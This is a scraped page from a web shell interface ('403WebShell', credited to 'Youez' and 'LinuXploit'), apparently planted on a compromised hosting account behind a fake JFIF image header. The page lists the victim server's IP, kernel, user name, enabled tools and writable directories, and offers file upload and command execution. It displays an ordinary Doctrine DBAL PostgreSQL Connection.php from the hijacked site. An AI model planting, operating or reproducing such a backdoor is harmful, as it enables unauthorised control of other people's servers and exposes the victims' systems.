����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.148.210.152
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirm.gltechlimited.com/vendor/doctrine/dbal/src/Driver/PgSQL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirm.gltechlimited.com/vendor/doctrine/dbal/src/Driver/PgSQL/Connection.php
<?php

namespace Doctrine\DBAL\Driver\PgSQL;

use Doctrine\DBAL\Driver\ServerInfoAwareConnection;
use Doctrine\DBAL\ParameterType;
use Doctrine\DBAL\SQL\Parser;
use Doctrine\Deprecations\Deprecation;
use PgSql\Connection as PgSqlConnection;
use TypeError;

use function assert;
use function get_class;
use function gettype;
use function is_object;
use function is_resource;
use function pg_close;
use function pg_escape_bytea;
use function pg_escape_literal;
use function pg_get_result;
use function pg_last_error;
use function pg_result_error;
use function pg_send_prepare;
use function pg_send_query;
use function pg_version;
use function sprintf;
use function uniqid;

final class Connection implements ServerInfoAwareConnection
{
    /** @var PgSqlConnection|resource */
    private $connection;

    private Parser $parser;

    /** @param PgSqlConnection|resource $connection */
    public function __construct($connection)
    {
        if (! is_resource($connection) && ! $connection instanceof PgSqlConnection) {
            throw new TypeError(sprintf(
                'Expected connection to be a resource or an instance of %s, got %s.',
                PgSqlConnection::class,
                is_object($connection) ? get_class($connection) : gettype($connection),
            ));
        }

        $this->connection = $connection;
        $this->parser     = new Parser(false);
    }

    public function __destruct()
    {
        if (! isset($this->connection)) {
            return;
        }

        @pg_close($this->connection);
    }

    public function prepare(string $sql): Statement
    {
        $visitor = new ConvertParameters();
        $this->parser->parse($sql, $visitor);

        $statementName = uniqid('dbal', true);
        if (@pg_send_prepare($this->connection, $statementName, $visitor->getSQL()) !== true) {
            throw new Exception(pg_last_error($this->connection));
        }

        $result = @pg_get_result($this->connection);
        assert($result !== false);

        if ((bool) pg_result_error($result)) {
            throw Exception::fromResult($result);
        }

        return new Statement($this->connection, $statementName, $visitor->getParameterMap());
    }

    public function query(string $sql): Result
    {
        if (@pg_send_query($this->connection, $sql) !== true) {
            throw new Exception(pg_last_error($this->connection));
        }

        $result = @pg_get_result($this->connection);
        assert($result !== false);

        if ((bool) pg_result_error($result)) {
            throw Exception::fromResult($result);
        }

        return new Result($result);
    }

    /** {@inheritDoc} */
    public function quote($value, $type = ParameterType::STRING)
    {
        if ($type === ParameterType::BINARY || $type === ParameterType::LARGE_OBJECT) {
            return sprintf("'%s'", pg_escape_bytea($this->connection, $value));
        }

        return pg_escape_literal($this->connection, $value);
    }

    public function exec(string $sql): int
    {
        return $this->query($sql)->rowCount();
    }

    /** {@inheritDoc} */
    public function lastInsertId($name = null)
    {
        if ($name !== null) {
            Deprecation::triggerIfCalledFromOutside(
                'doctrine/dbal',
                'https://github.com/doctrine/dbal/issues/4687',
                'The usage of Connection::lastInsertId() with a sequence name is deprecated.',
            );

            return $this->query(sprintf('SELECT CURRVAL(%s)', $this->quote($name)))->fetchOne();
        }

        return $this->query('SELECT LASTVAL()')->fetchOne();
    }

    /** @return true */
    public function beginTransaction(): bool
    {
        $this->exec('BEGIN');

        return true;
    }

    /** @return true */
    public function commit(): bool
    {
        $this->exec('COMMIT');

        return true;
    }

    /** @return true */
    public function rollBack(): bool
    {
        $this->exec('ROLLBACK');

        return true;
    }

    public function getServerVersion(): string
    {
        return (string) pg_version($this->connection)['server'];
    }

    /** @return PgSqlConnection|resource */
    public function getNativeConnection()
    {
        return $this->connection;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit